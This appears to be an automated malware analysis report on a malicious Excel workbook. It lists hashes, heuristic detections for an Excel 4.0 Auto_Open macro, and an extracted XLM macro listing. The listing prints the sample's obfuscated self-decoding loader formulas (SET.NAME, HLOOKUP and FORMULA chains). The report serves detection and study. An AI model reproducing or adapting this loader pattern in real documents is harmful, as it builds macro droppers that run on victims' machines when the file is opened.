Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 456c198df524ce86…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:35:11 Authoring application: Microsoft Excel First seen: 2021-03-31
MD5: edbcc52561182a7a513a98e32b4f79c3 SHA-1: dad7c7f2905e04ae0869de526c2487127a4a9956 SHA-256: 456c198df524ce864fe44cad5d3665c05298bdc1fe9bc0bdfa5911433623b2a7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6442 bytes
SHA-256: a042ab8f3f8a0681df2216b3e8a6127e36c7c6771d5ac9065818a34c1714ef1a
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     14 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  xkZtk
' 0018     27 LABEL : Cell Value, String Constant - aTznJtOIOteQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H174 
' 0018     24 LABEL : Cell Value, String Constant - BvUoDfEsl len=0 
' 0018     24 LABEL : Cell Value, String Constant - EbXfoBQyT len=0 
' 0018     22 LABEL : Cell Value, String Constant - EWBFAWI len=0 
' 0018     21 LABEL : Cell Value, String Constant - gjPVvX len=0 
' 0018     22 LABEL : Cell Value, String Constant - GtXYmey len=0 
' 0018     25 LABEL : Cell Value, String Constant - hxMLnqBfqg len=0 
' 0018     25 LABEL : Cell Value, String Constant - JUwuehEixv len=0 
' 0018     20 LABEL : Cell Value, String Constant - mNcSS len=0 
' 0018     22 LABEL : Cell Value, String Constant - nSmPxRW len=0 
' 0018     20 LABEL : Cell Value, String Constant - OxGsc len=0 
' 0018     23 LABEL : Cell Value, String Constant - qoPwBieh len=0 
' 0018     27 LABEL : Cell Value, String Constant - rcnDgrPdKVqW len=0 
' 0018     22 LABEL : Cell Value, String Constant - RRNnegX len=0 
' 0018     22 LABEL : Cell Value, String Constant - svQfKro len=0 
' 0018     23 LABEL : Cell Value, String Constant - UuYPhnQB len=0 
' 0018     23 LABEL : Cell Value, String Constant - vKfgoUAr len=0 
' 0018     27 LABEL : Cell Value, String Constant - vTyIdQpCNuBz len=0 
' 0018     25 LABEL : Cell Value, String Constant - waFNPbLJzq len=0 
' 0018     27 LABEL : Cell Value, String Constant - yqyVHNCoGYkp len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  xkZtk,H80,"SET.NAME("UuYPhnQB",VALUE("0"))",""
'  xkZtk,H83,"SET.NAME("GtXYmey",UuYPhnQB)",""
'  xkZtk,H86,"SET.NAME("yqyVHNCoGYkp",UuYPhnQB)",""
'  xkZtk,H91,"SET.NAME("vKfgoUAr",COUNTA(OxGsc))",""
'  xkZtk,H95,"SET.NAME("vTyIdQpCNuBz",COUNTA(BvUoDfEsl))",""
'  xkZtk,H98,[],""
'  xkZtk,H101,"SET.NAME("JUwuehEixv","")",""
'  xkZtk,H103,"GtXYmey",""
'  xkZtk,H107,"SET.NAME("nSmPxRW",HLOOKUP("*",OxGsc,GtXYmey,FALSE))",""
'  xkZtk,H110,"qoPwBieh",""
'  xkZtk,H112,"SET.NAME("svQfKro",UuYPhnQB)",""
'  xkZtk,H116,[],""
'  xkZtk,H121,"svQfKro",""
'  xkZtk,H126,"mNcSS",""
'  xkZtk,H130,"rcnDgrPdKVqW",""
'  xkZtk,H135,"EbXfoBQyT",""
'  xkZtk,H139,"SET.NAME("gjPVvX",VALUE(HLOOKUP("*",BvUoDfEsl,EbXfoBQyT,FALSE)))",""
'  xkZtk,H143,"EWBFAWI",""
'  xkZtk,H146,"JUwuehEixv",""
'  xkZtk,H149,"yqyVHNCoGYkp",""
'  xkZtk,H154,NEXT(),""
'  xkZtk,H156,"RRNnegX",""
'  xkZtk,H159,"SET.NAME("f",INT(T(FORMULA(T(JUwuehEixv)&"",""&T(RRNnegX)))))",""
'  xkZtk,H164,"hxMLnqBfqg",""
'  xkZtk,H168,NEXT(),""
'  xkZtk,H171,RETURN(),""
'  xkZtk,H202,"SET.NAME("waFNPbLJzq",H80)",""
'  xkZtk,H205,"OxGsc",""
'  xkZtk,H209,"SET.NAME("BvUoDfEsl",R49C11)",""
'  xkZtk,H213,"SET.NAME("hxMLnqBfqg",220)",""
'  xkZtk,H216,"SET.NAME("aTznJtOIOteQ",8)",""
'  xkZtk,H219,waFNPbLJzq(),""
'  xkZtk,H220,HALT(),""

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